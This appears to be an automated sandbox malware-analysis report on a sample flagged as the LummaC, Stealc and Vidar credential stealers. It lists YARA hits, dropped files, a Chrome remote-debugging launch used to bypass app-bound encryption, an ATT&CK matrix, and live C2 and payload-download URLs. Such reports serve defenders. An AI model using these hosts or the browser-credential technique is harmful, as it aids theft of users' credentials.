Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Directory queried: C:\Users\user\Documents

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.2296923223.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2297076476.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uLkHEqZ3u3.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uLkHEqZ3u3.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3066735330.0000000000931000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2497344079.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA70C40 sqlite3_bind_zeroblob,	5_2_6CA70C40
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA70D60 sqlite3_bind_parameter_name,	5_2_6CA70D60
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C998EA0 sqlite3_clear_bindings,	5_2_6C998EA0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA70B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	5_2_6CA70B40
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C996410 bind,WSAGetLastError,	5_2_6C996410
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9960B0 listen,WSAGetLastError,	5_2_6C9960B0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C99C030 sqlite3_bind_parameter_count,	5_2_6C99C030
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C99C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	5_2_6C99C050
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C996070 PR_Listen,	5_2_6C996070
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9222D0 sqlite3_bind_blob,	5_2_6C9222D0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9963C0 PR_Bind,	5_2_6C9963C0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C999480 sqlite3_bind_null,	5_2_6C999480
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9994C0 sqlite3_bind_text,	5_2_6C9994C0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9994F0 sqlite3_bind_text16,	5_2_6C9994F0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C999400 sqlite3_bind_int64,	5_2_6C999400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	51 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
uLkHEqZ3u3.exe	61%	ReversingLabs	Win32.Trojan.Generic
uLkHEqZ3u3.exe	100%	Avira	TR/Crypt.XPACK.Gen
uLkHEqZ3u3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\install1[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label
necklacebudi.lat	0%	URL Reputation	safe
sustainskelet.lat	0%	URL Reputation	safe
crosshuaht.lat	0%	URL Reputation	safe
energyaffai.lat	0%	URL Reputation	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s3-w.us-east-1.amazonaws.com	16.182.37.145	true	false		high
bitbucket.org	185.166.143.48	true	false		high
steamcommunity.com	23.55.153.106	true	false		high
plus.l.google.com	172.217.17.46	true	false		high
play.google.com	172.217.19.206	true	false		high
lev-tolstoi.com	104.21.66.86	true	false		high
www.google.com	172.217.21.36	true	false		high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false		high
sweepyribs.lat	unknown	unknown	false		high
necklacebudi.lat	unknown	unknown	true	0%, URL Reputation	unknown
sustainskelet.lat	unknown	unknown	true	0%, URL Reputation	unknown
crosshuaht.lat	unknown	unknown	true	0%, URL Reputation	unknown
rapeflowwj.lat	unknown	unknown	false		high
grannyejh.lat	unknown	unknown	false		high
aspecteirs.lat	unknown	unknown	false		high
discokeyus.lat	unknown	unknown	false		high
energyaffai.lat	unknown	unknown	true	0%, URL Reputation	unknown
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/install1.exe	false	high
http://185.215.113.43/Zu7JuNko/index.php	true	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
sweepyribs.lat	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
necklacebudi.lat	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	false	high
https://lev-tolstoi.com:443/apin.txtPK	uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	false	high
http://www.broofa.com	chromecache_94.9.dr	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll4	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com:443/apical	uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2293436074.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269035374.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/Z	uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/W	uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2297538057.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359033413.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.php1850a91e9395ab6f80a3bec3e082Extension	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009FC000.00000040.00000001.01000000.00000009.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aui-cdn.atlassian.com/	skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206ta	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp	false	high
https://lev-tolstoi.com/e	uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/sS	uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bitbucket.org/	skotes.exe, 00000013.00000002.3383017404.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpRj	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.mozilla.com/en-US/blocklist/	NTJ5FCNZGEJS945U0MUPLHRT.exe, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr	false	high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-	skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
https://mozilla.org0/	nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	false	high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	uLkHEqZ3u3.exe, uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247646183.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2221054548.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269119660.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269564224.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247504756.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247593890.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359033413.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269035374.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247412917.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2221010399.0000000001535000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247879911.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2322215355.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247373502.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AKJEGCFBGDHJJJJJKJEC.5.dr	false	high
https://store.steampowered.com/points/shop/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php-	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KKKJEBAAECBGDHIECAKJKKECFH.5.dr	false	high
https://store.steampowered.com/privacy_agreement/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com:	uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_94.9.dr	false	high
http://185.215.113.206/c4becf79229cb002.php?	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KKKJEBAAECBGDHIECAKJKKECFH.5.dr	false	high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpA	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.cookielaw.org/	skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	false	high
